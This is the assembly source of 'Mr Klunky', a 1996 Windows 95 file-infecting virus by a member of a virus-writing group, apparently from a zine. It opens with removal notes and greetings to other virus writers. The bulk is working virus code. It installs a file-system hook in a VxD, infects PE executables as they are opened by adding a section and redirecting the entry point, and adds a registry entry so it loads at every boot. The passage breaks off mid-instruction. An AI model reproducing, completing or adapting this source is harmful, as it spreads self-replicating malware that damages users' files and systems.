directories. ³ + ³ o Boot into Windows 95 (you will get an error about the VxD ³ + ³ Mr Klunky uses being missing, ignore this). ³ + ³ o Restore all missing files (you _DID_ make a backup didn't ³ + ³ you?!). ³ + ³ o Run REGEDIT.EXE and do a search for a key called ³ + ³ "MrKlunky" and delete it. ³ + ³ ³ + ³ Scanning o Well... Any signature scanner will be able to spot it ³ + ³ after it is next updated. ³ + ³ o Any self checking PE file will spot it. ³ + ³ o Any integrity checker will spot it. ³ + ³ o Hey! This is an educational version! WTF did you expect ³ + ³ from it!!! ³ + ³ ³ + ³ Side effects o Nothing important I know of... MS would need to make some ³ + ³ pretty fundamental OS changes in Windows 95. ³ + ³ o No infected file will run under NT |] ³ + ³ ³ + ³ To do's o Just look at the "Features" section! ³ + ³ o Other bits I removed to go back in. ³ + ³ o Some alternative (and even more compatable) ideas to be ³ + ³ tried instead of the approaches used. ³ + ³ ³ + ³ Greetz o Sepultura (look! It's ready for the Zine!) ³ + ³ o Metabolis (Injected with the poison.) ³ + ³ o Qark (Hullo? Anyone seen this worthy?) ³ + ³ o TZ (Sigh... Repetition.) ³ + ³ o Priest (Where TF are you anyway??) ³ + ³ o Dark Angel (Everyone seems to have vanished!) ³ + ³ o Halflife (Wewp! A live one!) ³ + ³ o Jookie (Hey dude.) ³ + ³ o KD (Told ya this was here!) ³ + ³ o Quantum (Hope ya like Mr K bud.) ³ + ³ o The Unforgiven (Email, email, email...) ³ + ³ o Anyone else I missed ;] You all know I love you |} ³ + ³ ³ + ³ Other notes o Please remember that this is an, um, scholarly version ³ + ³ only. It won't last 5 minutes in the wild, so don't even ³ + ³ think of releasing it or of criticising me for anything ³ + ³ about it! ³ + ³ o Make sure you read the article first! ³ + ³ o Be damn careful if you play with a non-debug version! ³ + ³ I infected my machine inadvertantly heaps of times :( ³ + ³ Twice it was with a non-debug version. Doh! Had to restore ³ + ³ from backup! ³ + ³ o Enjoy! ³ + ³ ³ + ³ -DV8/IRG³ + ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ +@ + .386p + + .XLIST + INCLUDE VMM.Inc + INCLUDE IFSMGR.Inc + .LIST + + + + + + +; *** VxD code starts here *** + +; This file (up to the MrK_PE_Code_Start label) comprises the VxD portion +; of Mr Klunky. The section from the MrK_PE_Code_Code_Start label is (to +; the VxD portion) data and of little import. + +; The VxD portion (once loaded into memory) hooks into the file system. + +; Whenever a file is opened for any reason (Windows 95 always opens a +; file before executing it) it is investigated and (if it's a PE file +; meeting the appropriate criteria - including not already infected) +; infected. + +; The infection process is, in essence, simple. The headers of the file +; are processed and a new section is created. + +; Next a portion of code (beginning at the MrK_PE_Code_Start label) is +; written to the new program entry point (this code is slightly modified +; so control can passed back to the victim correctly). Immediately +; following this will be written the VxD code. + +; Finally the modified header area will be written back to the beginning +; of program. + +; The program will now be allowed to execute normally. + + + +; If this line is uncommented Mr Klunky will generate a file (C:\LOG.LOG) +; containing the drive, path and name of every file infected - it will also +; allow MrKlunky to be dynamically unloaded. +MRK_Debug equ 00h + + + +; If this line is uncommented Mr Klunky will infect .DLL files (SLOW!). +;MRK_Infect_DLLs equ 00h + + + +; Various internally used equations. +MRK_Infected_Marker equ 00F00F00h + + +; Equations used in traversing the contents of PE files. +MZ_HeaderSize equ 40h +PE_HeaderSize equ 18h +PE_OptionalHeaderSize equ 5Fh +PE_TotalHeaderSize equ (PE_HeaderSize + PE_OptionalHeaderSize) + +PE_NumberOfSections equ 06h +PE_SizeOfOptionalHeader equ 14h + +PE_SizeOfCode equ (PE_HeaderSize + 04h) +PE_AddressOfEntryPoint equ (PE_HeaderSize + 10h) +PE_SectionAlignment equ (PE_HeaderSize + 20h) +PE_FileAlignment equ (PE_HeaderSize + 24h) +PE_SizeOfImage equ (PE_HeaderSize + 38h) +PE_SizeOfHeaders equ (PE_HeaderSize + 3Ch) + +Prev_VirtualSize equ (-28h + 08h) +Prev_VirtualAddress equ (-28h + 0Ch) +Prev_SizeOfRawData equ (-28h + 10h) +Prev_PointerToRawData equ (-28h + 14h) + + + +; Size of the binary data patched into any infected PE EXE. +PE_Patch_Size equ (_lpStoredVxD - MrK_PE_Code_Start) +MaxStringLen equ 1000d + + + +; Function ordinal definitions. +IFS_Open equ 24h + + + +; Set some build options and declare the device and it's characteristics. + ; Major version is 1. + MrK_MajVer equ 1 + + ; Minor version depends on compile options. + IFNDEF MrK_Infect_DLLs + IFNDEF MrK_Debug + MrK_MinVer equ 0 + ELSE + MrK_MinVer equ 1 + ENDIF + ELSE + IFNDEF MrK_Debug + MrK_MinVer equ 2 + ELSE + MrK_MinVer equ 3 + ENDIF + ENDIF + + ; My device ID. + MrKlunky_Device_ID equ 0D00Dh + + ; Declare the VxD entry point and other characteristics. + Declare_Virtual_Device MRKLUNKY, MrK_MajVer, MrK_MinVer, \ + MRKLUNKY_Control, MrKlunky_Device_ID + + + +; Put *everything* in a locked data segment. This way nothing is paged +; and all code is read/write. +VxD_LOCKED_DATA_SEG + + ; Locked code segment for the code. + VxD_LOCKED_CODE_SEG + + ; Control dispatch setup. + BeginProc MRKLUNKY_Control + + ; Handler for system boot device initialisation. + Control_Dispatch INIT_COMPLETE, MRKLUNKY_Device_Init + + ; Handler for dynamic device initialisation. + Control_Dispatch SYS_DYNAMIC_DEVICE_INIT, MRKLUNKY_Device_Init + +; If the MRK_Debug equation exists allow the VxD +; to be dynamically unloaded. +IFDEF MRK_Debug + ; Handler to dynamically unload Mr Klunky (Debug version only). + Control_Dispatch SYS_DYNAMIC_DEVICE_EXIT, MRKLUNKY_System_Exit +ENDIF + + ; Handler to unload Mr Klunky when the system shuts down. + Control_Dispatch SYSTEM_EXIT, MRKLUNKY_System_Exit + + ; Default to success for unhandled events. + clc + ret + EndProc MRKLUNKY_Control + + + + ; Initialise routine for dynamic/system load. + BeginProc MRKLUNKY_Device_Init + ; Try to open my driver in the Windows + ; System dir. + VMMCall Get_Exec_Path ; Get VMM32.VxD (system) path. + call DeriveNameAndOpen ; Open Mr K in there. + jnc VxDFileOpen ; On success continue. + + ; Try to open my driver in the Windows dir. + VMMCall Get_Config_Directory ; Get config (Windows) path. + call DeriveNameAndOpen ; Open Mr K in there. + jnc VxDFileOpen ; On success continue. + + ; Try to open my driver in the current dir. + mov esi, offset _lpMrKlunkyFileName ; Try in the current dir. + call R0_OpenFileRead ; + jc InstallFail ; Error exit. + + VxDFileOpen: + ; Get my size. + mov eax, 0D800h ; R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO ; + jc InstallFail_Close ; Error exit. + mov _ddMrK_VxD_Size, eax ; Save size. + mov _dwMrK_VxD_Size, ax ; Save size. + xchg ecx, eax ; ESI = file size. + + ; Allocate memory. + call R0_Alloc ; + je InstallFail_Close ; Error exit. + mov lpVxDBuffer, esi ; Save handle. + + ; Read me. + call R0_ReadFromStart ; + jc InstallFail_Close ; Error exit. + + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Hook into the file monitoring system. + mov eax, offset MRKLUNKY_FileHandler ; Install our API hook. + push eax ; + VxDCall IFSMgr_InstallFileSystemApiHook ; + add esp, 4 ; Restore stack. + ; + mov NextIFSHook, eax ; Save address of next hooker. + ; + or eax, eax ; EAX = 0? + jz InstallFail ; Yep. Failed. + + clc ; Success! + ret ; Back to VxDLdr... + + InstallFail_Close: + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + InstallFail: + stc ; Failure! + ret ; Back to VxDLdr... + EndProc MRKLUNKY_Device_Init + + + + ; Deinitialise routine for system shutdown. + BeginProc MRKLUNKY_System_Exit + ; Dealloc buffer. + mov esi, lpVxDBuffer ; Handle to buffer. + call R0_Dealloc ; + + ; Remove our file monitoring hook. + mov eax, offset MRKLUNKY_FileHandler ; Uninstall our API hook. + push eax ; + VxDCall IFSMgr_RemoveFileSystemApiHook ; + add esp, 4 ; Restore stack. + ; + or eax, eax ; EAX=0? + jnz UninstallFail ; Nope. Failure. + + clc ; Success! + ret ; Back to VxDLdr... + + UninstallFail: + stc ; Failure! + ret ; Back to VxDLdr... + EndProc MRKLUNKY_System_Exit + + + + ; Builds a filespec for Mr Klunky's VxD in + ; the dir pointed to by EDX. + BeginProc DeriveNameAndOpen + + ; Go to terminating NUL. + mov ecx, MaxStringLen ; Max 1000 characters. + mov edi, edx ; EDI = EDX = Filespec. + xor al, al ; Look for 0. + repne scasb ; + sub edi, edx ; + + ; Save these. + push edi ; + push edx ; + + ; Allocate a buffer of heap space. + mov ecx, MaxStringLen ; 1000 chars should be ample. + call R0_Alloc ; + + ; Restore saved regs to different regs. + pop edi ; Was EDX. + pop ecx ; Was EDI. + + je DNAOExit ; + + ; Save all registers. + pushad ; + + ; Copy the source dir into the temp buffer. + xchg esi, edi ; Swap ESI & EDI. + push edi ; < Save these. + push ecx ; < + rep movsb ; ECX = source str length. + pop ecx ; < Restore these. + pop edi ; < + + ; Go to terminating NUL. + push ecx ; Save this. + xor al, al ; NUL. + repne scasb ; Find it. + pop eax ; Was ECX. + + ; Go back to last '\'. + sub eax, ecx ; < ECX = Length of string. + xchg ecx, eax ; < + mov al, '\' ; + std ; Scan backwards. + repne scasb ; + cld ; Normal string direction. + add edi, 2 ; Char just after '\'. + + ; Append 'MrKlunky.VxD' to constructed dir. + mov esi, offset _lpMrKlunkyFileName ; From here. + mov ecx, 13d ; This many chars. + rep movsb ; + + ; Restore all registers. + popad ; + + ; Open the file. + call R0_OpenFileRead ; ESI = our string. + + ; Deallocate the buffer, retaining flags. + pushf ; + call R0_Dealloc ; ESI = our buffer. + popf ; + + DNAOExit: + ret + EndProc DeriveNameAndOpen + + + + ; Opens file specified by [ESI] for + ; read, returns handle in EBX. + BeginProc R0_OpenFileRead + mov ebx, 0000FF00h ; Compat read, return errors. + mov edx, 00000001h ; No cache, open existing. + + jmp R0_OpenFile ; Continue. + + ; Opens file specified by [ESI] for + ; read/write, returns handle in EBX. + BeginProc R0_OpenFileWrite + mov ebx, 0000FF02h ; Compatable read, commit on + ; write, return errors. + + mov edx, 00000011h ; R0_NO_CACHE, open existing. + + R0_OpenFile: + mov eax, 0D501h ; R0_OPENCREAT_IN_CONTEXT + xor ecx, ecx ; No attributes. + VxDCall IFSMgr_Ring0_FileIO ; + + xchg ebx, eax ; EBX = return value (handle). + ret + EndProc R0_OpenFileWrite + EndProc R0_OpenFileRead + + + + ; Returns a handle to a heap buffer of the + ; requested size in ESI, if possible. + ; + ; Returns equal on error. + BeginProc R0_Alloc + push ecx ; Save this. + + push HEAPSWAP ; Swappable memory. + push ecx ; This size. + VMMCall _HeapAllocate ; + add esp, (4*2) ; Restore stack. + + cmp eax, 0 ; Error returned? + xchg eax, esi ; Handle in ESI. + + pop ecx ; restore this. + ret + EndProc R0_Alloc + + + + ; Free up previously allocated heap buffer, + ; requires handle in ESI. + BeginProc R0_Dealloc + push 0 ; Reserved. + push esi ; Free this buffer. + VMMCall _HeapFree ; + add esp, (4*2) ; Restore stack. + ret + EndProc R0_Dealloc + + + + ; Resize and existing heap buffer ([ESI]) + ; to the size in ECX. + BeginProc R0_ReAlloc + push ecx ; Save this. + + push HEAPNOCOPY ; Don't bother copying old buffer. + push ecx ; Resize to this. + push esi ; Handle to old buffer. + VMMCall _HeapReAllocate ; + add esp, (4*3) ; Restore stack. + + xchg eax, esi ; ESI=Return value. + cmp esi, 0 ; Error check. + + pop ecx ; Restore it. + ret + EndProc R0_ReAlloc + + + + ; Read ECX bytes from open file (EBX = handle), + ; from beginning of file. + BeginProc R0_ReadFromStart + xor edx, edx ; From file start. + mov eax, 0D600h ; R0_READFILE + VxDCall IFSMgr_Ring0_FileIO ; + + ret + EndProc R0_ReadFromStart + + + + ; Just so everyone knows + CopyRight db 13d, 13d + db "[Mr Klunky v", '0' + MrK_MajVer, ".0" + db '0' + MrK_MinVer, "]", 13d + db "Copyright (C) DV8 of Immortal Riot/Genesis, " + db "Friday 13th of December 1996.", 13d + db 13d + + + + ; Actual file handler. + BeginProc MRKLUNKY_FileHandler + ; Handler setup. + push ebp ; For C compatiblity. + mov ebp, esp ; + sub esp, 20h ; + + ; The following structure is passed to us on the stack and now has the + ; current positions, relative to EBP :- + ; 00h - Initial value of EBP. + ; 04h - Return address of caller. + ; 08h - Address of FSD function. + ; 0Ch - Function ID. + ; 10h - Drive. + ; 14h - Type of resource. + ; 18h - Code page. + ; 1Ch - Pointer to IOREQ record. + ; 00h(dw) - Length of user buffer. + ; 02h(db) - Status flags. + ; 03h(db) - Requests' User ID. + ; 04h(dw) - File handle's System File Number. + ; 06h(dw) - Process ID. + ; 08h(dd) - Unicode path. + ; 0Ch(dd) - Secondary data buffer. + ; 10h(dd) - Primary data buffer. + ; 14h(dw) - Handling options. + ; 16h(dw) - Error code. + ; 18h(dw) - Resource handle. + ; 1Ah(dw) - File/find handle. + ; 1Ch(dd) - File position. + ; 20h(dd) - Extra API params. + ; 24h(dd) - Extra API params. + ; 28h(dw) - Address of IFSMgr event for async requests. + ; 2Ah(db) - Start of provider work space. + + push ebx ; Save registers. + push ecx ; + + ; Make sure we don't process our own + ; file calls. + cmp Already_Entered, 0 ; Already Entered? + jne No_Reentrancy ; Yep, don't process. + mov Already_Entered, 1 ; Nope, set entered flag. + + ; Windows 95 does a file open when any + ; program is run. + cmp dword ptr [ebp+0Ch], IFS_Open ; Is this a file open? + jne Continue ; Nope... Forget it. + + ; Allocate a buffer for the converted + ; Unicode string. + mov ecx, MaxStringLen ; 1,000 chars should be enough. + call R0_Alloc ; + je Continue ; Error exit. + mov lpNameBuffer, esi ; Save the handle. + + ; Initialise drive letter portion of + ; ASCII path. + mov ebx, esi ; EBX = ESI = Ptr to BCS buffer. + mov edx, (MaxStringLen - 1) ; Max size of output buffer. + ; + mov ecx, [ebp+10h] ; Put drive in ECX + cmp cl, 0FFh ; UNC drive? + je SkipVol ; Yep, Skip drive letter. + ; + sub edx, 2 ; Adjust max output buffer size. + ; + add cl, 40h ; < Put ASCII drive in buffer. + mov byte ptr [ebx], cl ; < + ; + inc ebx ; Skip the drive spec. + ; + mov byte ptr [ebx], 3Ah ; Follow drive letter with a ':'. + inc ebx ; + SkipVol: ; + + ; Do the actual Unicode -> ASCII. + xor ecx, ecx ; Character set (BCS_WANSI). + push ecx ; + push edx ; Max size of output buffer. + mov eax, [ebp+1Ch] ; Dereferance. + mov ecx, [eax+0Ch] ; Ptr to Unicode path (input). + add ecx, 4 ; + push ecx ; + push ebx ; Ptr to BCS buffer (output). + VxdCall UniToBCSPath ; + add esp, 4*4 ; Fix the stack. + + ; OK. It's been converted. Go to + ; string end. + mov edi, esi ; EDI = ASCII filespec. + xor al, al ; NUL + mov ecx, MaxStringLen ; 1000 char max scan. + repne scasb ; + ; + or ecx, ecx ; Did we hit buffer end? + jz DeallocContinue ; Yup. Abort. + +; If the MRK_Infect_DLLs equation exists allow +; our code to infect DLL files too. +IFDEF MRK_Infect_DLLs + ; If it's a .EXE check it. + cmp dword ptr [edi-5], "EXE." ; Is the file extension .EXE? + je PossiblePE ; Nope, skip this file. + + ; If it's a .DLL check it. + cmp dword ptr [edi-5], "LLD." ; Is the file extension .DLL? + jne DeallocContinue ; Nope, skip this file. + PossiblePE: +ELSE + ; If it's a .EXE check it. + cmp dword ptr [edi-5], "EXE." ; Is the file extension .EXE? + jne DeallocContinue ; Nope, skip this file. +ENDIF + + ; Get the file's attributes. + mov eax, 4300h ; R0_FILEATTRIBUTES,GET_ATTRIBUTES + VxDCall IFSMgr_Ring0_FileIO ; ESI = ASCII filespec. + jc DeallocContinue ; Error exit. + ; + push ecx ; Save to restore later. + + ; Nullify the attributes. + mov eax, 4301h ; R0_FILEATTRIBUTES,SET_ATTRIBUTES + xor ecx, ecx ; No attributes. + VxDCall IFSMgr_Ring0_FileIO ; + jc RestoreExit ; Error exit. + + ; Open the file. + call R0_OpenFileWrite ; + jc RestoreExit ; Abort on error. + + ; Allocate a buffer on the heap. + mov ecx, MZ_HeaderSize ; This size. + call R0_Alloc ; + je CloseFuck ; Yep, error exit. + + ; Read the DOS Header. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Get the size of the file. + mov eax, 0D800h ; R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO ; + jc CloseFuck ; Exit on error. + + ; Is it an MZ EXE? + cmp word ptr [esi], 'ZM' ; Check for MZ signature. + jne CloseFuck ; Not there. Not a PE. + + ; If already infected forget it. + cmp [esi+28h], MRK_Infected_Marker ; Our sign there? + je CloseFuck ; Yep, bibi. + + ; Get and check location of PE header. + mov ecx, [esi+3Ch] ; Get location of PE signature. + cmp ecx, 0 ; Is it zero? + je CloseFuck ; Yep, not a PE. + ; + cmp ecx, eax ; Is it greater than file size? + jg CloseFuck ; Yep, not a PE. + + ; Resize the heap buffer. + mov edi, ecx ; EDI=Start of PE header. + add ecx, PE_TotalHeaderSize ; Make room for image file header. + call R0_ReAlloc ; + je CloseFuck ; Error exit. + + ; Read the file, including all of the + ; PE image file header fields. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Check if it's a PE file. + cmp [esi+edi], 00004550h ; Is it "PE\0\0"? + jne CloseFuck ; Nope, not a PE. + + ; YAY! We got a Windows 95 file! + ; Resize the buffer. + mov ecx, [esi+edi+PE_SizeOfHeaders] ; Make room for Header & Sections. + call R0_ReAlloc ; + je CloseFuck ; Error exit. + + ; Read all headers and sections. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Mark as infected. + mov [esi+28h], MRK_Infected_Marker ; Put in our sign. + + ; Calculate space combined headers + ; occupy and space sections occupy. + xor ecx, ecx ; + mov cx, word ptr [esi+edi+PE_SizeOfOptionalHeader] + add ecx, edi ; + add ecx, PE_HeaderSize ; ECX = Combined headers' area. + sub eax, ecx ; EAX - Total_Size = Section area. + + ; Calculate number of possible section + ; entries in the area. + push ecx ; Save this for later. + xor edx, edx ; EDX:EAX = 00000000:Area_Size. + mov ecx, 28h ; + div ecx ; Section area / Section size. + + ; Check there is at least one entry spare. + xor edx, edx ; < EDX = Number of entries used. + mov dx, [esi+edi+PE_NumberOfSections] ; < + ; + cmp eax, edx ; Compare them. + jng CloseFuck ; Num used >= Num available. Bibi. + ; + cmp edx, 0FFFFh ; Max entries already? + jge CloseFuck ; Exit, no spare room. + + ; One more entry please. + inc word ptr [esi+edi+PE_NumberOfSections] + + ; Calculate end of current section entries. + xchg eax, edx ; EAX = Number of entries. + mul ecx ; + pop ecx ; Combined headers' size. + add ecx, eax ; ECX = End of section entries. + + ; Calculate Virtual Address of new section. + pushad ; Save regs. + ; + add ecx, esi ; + ; + mov eax, [ecx+Prev_VirtualAddress] ; Previous virtual address... + add eax, [ecx+Prev_VirtualSize] ; ...+ previous virtual size... + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + mov My_VirtualAddress, eax ; Store it. + + ; Calculate the actual size of the new section. + mov eax, _ddMrK_VxD_Size ; VxD file's size... + add eax, PE_Patch_Size + MaxStringLen ; ...+ size of patch + heap... + push eax + mov ebx, [esi+edi+PE_FileAlignment] ; < .../ file alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* file alignment. + ; + mov My_SizeOfRawData, eax ; Store it. + + ; Calculate the virtual size of the new section. ? + pop eax ; VxD size + patch code size. + push eax ; + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + mov My_PhysicalAddress, eax ; Store it. + + ; Calculate the start of the new section. + mov eax, [ecx+Prev_PointerToRawData] ; Previous section start... + add eax, [ecx+Prev_SizeOfRawData] ; ...plus previous section size. + ; + mov My_PointerToRawData, eax ; Store it. + + ; Update the image size. + pop eax + add eax, [esi+edi+PE_SizeOfImage] ; Current image size + VxD size.. + ; ..+ size of patch code. + ; + mov [esi+edi+PE_SizeOfImage], eax ; Store it. + + ; Calculate entry point. + mov eax, [ecx+Prev_VirtualAddress] ; Previous virtual address... + add eax, [ecx+Prev_VirtualSize] ; ...+ previous virtual size... + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + push [esi+edi+PE_AddressOfEntryPoint] ; Save old entry point. + mov [esi+edi+PE_AddressOfEntrypoint], eax ; Store new entry point. + + ; Calculate integer for control return. + pop ebx ; EBX = Origional entry point. + sub eax, ebx ; New - Old. + add eax, (Magic - MrK_PE_Code_Start) ; Allow for delta position. + mov ddOrigEntry, eax ; Save it. + + ; Append the new section. + popad ; Restore registers. + ; + pushad ; Save registers. + push esi ; + push edi ; + ; + ; + xchg esi, edi ; < EDI = Position of new section. + add edi, ecx ; < + mov esi, My_Section ; ESI = Section to add. + mov ecx, (28h / 4) ; Size (in words) of a section. + rep movsd ; Do it! + + ; Write new section to the correct position in the file. + mov eax, 0D601h ; R0_WRITEFILE + mov ecx, PE_Patch_Size ; Write this many bytes. + mov esi, MrK_PE_Code_Start ; From here. + mov edx, My_PointerToRawData ; This far into the file. + VxDCall IFSMgr_Ring0_FileIO ; + jc CleanStackAndClose ; Error exit. + ; + mov eax, 0D601h ; R0_WRITEFILE + mov ecx, _ddMrK_VxD_Size ; Write this many bytes. + mov esi, lpVxDBuffer ; From here. + mov edx, My_PointerToRawData ; < This far into the file. + add edx, PE_Patch_Size ; < + VxDCall IFSMgr_Ring0_FileIO ; + jc CleanStackAndClose ; Error exit. + + ; Write the file headers back to BOF. + mov eax, 0D601h ; R0_WRITEFILE + pop edi ; + pop esi ; Write from here. + mov ecx, [esi+edi+PE_SizeOfHeaders] ; Write this many bytes. + xor edx, edx ; To file start. + VxDCall IFSMgr_Ring0_FileIO ; + +; If the MRK_Debug equation exists allow the VxD +; to keep a log of files infected. +IFDEF MRK_Debug + popad ; Restore regs. + jmp AppendLog ; Make a log entry. +ELSE + jmp AllOKClose ; All done. +ENDIF + + CleanStackAndCLose: + ; Clear crap off stack. + pop eax ; Clear crap off stack. + pop eax ; + + AllOKClose: + ; Restore regs. + popad ; + + CloseFuck: + ; Dealloc buffer. + call R0_Dealloc ; ESI = buffer handle. + + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; EBX = handle. + + RestoreExit: + ; Restore file attributes and exit. + mov eax, 4301h ; R0_FILEATTRIBUTES,SET_ATTRIBUTES + mov esi, lpNameBuffer ; Perform on this file. + pop ecx ; Restore attributes. + VxDCall IFSMgr_Ring0_FileIO ; + + DeallocContinue: + ; Free up the buffer for the ASCII filespec. + mov esi, lpNameBuffer ; ESI = buffer. + call R0_Dealloc ; + + Continue: + mov Already_Entered, 0 ; Clear entered flag. + + No_Reentrancy: + ; Pass control to the next handler, + ; completing the origional operation. + mov ecx, 6 ; Copy the parameters onto + mov ebx, 1Ch ; the stack. This ensures + PushPos: ; a C compliant call stack. + mov eax, [ebp+ebx] ; + push eax ; + sub ebx, 4 ; + loop PushPos ; + + ; Next handler. + mov eax, NextIFSHook ; Gimme the next handler. + call [eax] ; Dereferenced call. + + BiBi: + ; Handler clean up. + pop ecx ; < Restore registers. + pop ebx ; < + + ; Back to caller. + add esp, 18h ; Clear out the space we... + leave ; grabbed and return to caller... + ret ; C style. + EndProc MRKLUNKY_FileHandler + + + + ; New section added to infected files. + My_Section equ $ + My_Name db "MrKlunky" ; This is my section's name. + My_PhysicalAddress dd 00000000h ; Unused. + My_VirtualAddress dd 00000000h ; Map to this RVA. ; * + My_SizeOfRawData dd 00000000h ; Total space used. ; * + My_PointerToRawData dd 00000000h ; Start of data. ; * + My_PointerToRelocations dd 00000000h ; < Unused. + My_PointerToLineNumbers dd 00000000h ; < + My_NumberOfRelocations dw 0000h ; < + My_NumberOfLineNumbers dw 0000h ; < + My_Characteristics dd 0E0000060h ; Exec+Read+Write+Code+Init'd. + + ; Misc data. + Already_Entered db 0 + lpVxDBuffer dd 0 + NextIFSHook dd 0 + lpNameBuffer dd 0 + + + +; If the MRK_Debug equation exists allow the VxD +; to keep a log of files infected. +IFDEF MRK_Debug + BeginProc AppendLog + ; Close the file. ; + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Log all files processed. ; + pushfd ; + pushad ; + + ; Go to string end. ; + mov edi, lpNameBuffer ; Go to the terminating 0. + xor al, al ; + mov ecx, MaxStringLen ; + repne scasb ; + + ; Error check. + or ecx, ecx ; Did we hit buffer end? + jz xContinue ; Yup. Abort. + + ; New line. + mov al, 13d ; Terminate with a CR... + stosb ; ...for log file. + + ; How many chars to write. + mov eax, MaxStringLen ; 1000 - str len + 1. + sub eax, ecx ; + inc eax ; + push eax ; + + ; Open log file. + mov eax, 0D501h ; R0_OPENCREAT_IN_CONTEXT + mov bl, 02 ; Open for R/W in compatable mode. + mov bh, 0FFh ; Commit on write, return errors. + xor cx, cx ; File will have no attributes. + mov dl, 11h ; Create or Open. + xor dh, dh ; nope -> R0_NO_CACHE + mov esi, offset LogFile ; Name of file to open. + VxDCall IFSMgr_Ring0_FileIO ; + ; + jc xContinue ; Abort on error. + xchg ebx, eax ; EBX = EAX = file handle. + + ; Get the size of the file. + mov eax, 0D800h ; R0_GETFILESIZE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Write the string to the end of the file. + xchg edx, eax ; EDX = Start write at file size. + mov eax, 0D603h ; R0_WRITEFILE_IN_CONTEXT. + mov esi, lpNameBuffer ; Write from here. + pop ecx ; Num bytes to write + VxdCall IFSMgr_Ring0_FileIO ; + + xCloseFuck: + ; Close the log file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + xContinue: + ; Restore regs and flags. + popad ; + popfd ; + + ; Dealloc buffer. + call R0_Dealloc ; + + jmp RestoreExit + EndProc AppendLog + + ; Filespec of log file. + LogFile db 'C:\LOG.LOG',0 ; + +ENDIF + + + + + + +MrK_PE_Code_Start: +; *** PE patch code starts here *** + +; The rest of the file is patched by the VxD and written to the new entry +; point of an infected program. + +; It's job is to extract necessary function entry points from KERNEL32.DLL +; and use these to create the VxD file in the appropriate system directory +; (if it doesn't exist). It then loads the VxD file into memory and places +; an entry into the registry - ensuring that Mr Klunky is loaded every time +; Windows 95 boots. + +; Finally control is passed to the origional host program. + + + +; Use equations to calculate actual offsets of data items. +lpMrKlunkyLoad equ (_lpMrKlunkyLoad - _Magic) +lpMrKlunkyVxd equ (_lpMrKlunkyVxd - _Magic) +lpMrKlunkyFileName equ (_lpMrKlunkyFileName - _Magic) +dbZeroByte equ (_dbZeroByte - _Magic) +lpK32Name equ (_lpK32Name - _Magic) +lpCloseHandle equ (_lpCloseHandle - _Magic) +lpCreateFileA equ (_lpCreateFileA - _Magic) +lpFlushFileBuffers equ (_lpFlushFileBuffers - _Magic) +lpGetLastError equ (_lpGetLastError - _Magic) +lpGetSystemDirectoryA equ (_lpGetSystemDirectoryA - _Magic) +lpGetWindowsDirectoryA equ (_lpGetWindowsDirectoryA - _Magic) +lpSetEndOfFile equ (_lpSetEndOfFile - _Magic) +lpWriteFile equ (_lpWriteFile - _Magic) +lpAA32Name equ (_lpAA32Name - _Magic) +lpRegCloseKey equ (_lpRegCloseKey - _Magic) +lpRegCreateKeyExA equ (_lpRegCreateKeyExA - _Magic) +lpRegSetValueExA equ (_lpRegSetValueExA - _Magic) +;lpFilePathBuffer equ (_lpFilePathBuffer - _Magic) +dwNumBytesWritten equ (_dwNumBytesWritten - _Magic) +lpStoredVxD equ (_lpStoredVxD - _Magic) +dwBaseAddr equ (_dwBaseAddr - _Magic) +dwModHandle equ (_dwModHandle - _Magic) +dwUnnamedOffset equ (_dwUnnamedOffset - _Magic) +dwRegHandle equ (_dwRegHandle - _Magic) +lpStart equ (_lpStart - _Magic) +lpMrKlunkyKey equ (_lpMrKlunkyKey - _Magic) +lpStaticVxD equ (_lpStaticVxD - _Magic) +dwGetProc equ (_dwGetProc - _Magic) +lpGetProc_Rec equ (_lpGetProc_Rec - _Magic) +dwGetMod equ (_dwGetMod - _Magic) +lpGetMod_Rec equ (_lpGetMod_Rec - _Magic) +ddMrK_VxD_Size equ (_ddMrK_VxD_Size - _Magic) + + + + ; New entry point of all infected programs. + Mr_Klunky PROC + ; Save stuff. + push eax ; This will be the return address. + pushad ; Save all registers. + + ; Voodoo! + call Magic ; Get delta offset. + Magic: ; + _Magic equ $ ; + pop ebp ; + + ; Find KERNEL32.DLL's PE header, start + ; where it is loaded. + Get_K32_PE_Header: + mov edi, 0BFF70000h ; Start in KERNEL32's area. + mov ecx, 00001000h ; Scan this many bytes. + mov eax, 00004550h ; Scan for "PE\0\0" + + Find_PE: + repne scasb ; Scan for "P". + jne RestoreHost ; Bomb if not found. + + cmp [edi-1], eax ; Is this dword "PE/0/0"? + jne Find_PE ; Nope, scan next sequence. + + ; Do some checks to make sure this really + ; is the PE header. + Verify_PE_Header: + dec edi ; Back to PE signature. + + ; Check machine word. + cmp word ptr [edi+4], 014Ch ; Is machine word i386? + jne Find_PE ; Nope, keep searching. + + ; Check optional header word. + cmp word ptr [edi+14h], 0 ; Is there an optional header? + je Find_PE ; Nope, keep searching. + + ; Check characteristic word. + mov bx, word ptr [edi+16h] ; Get 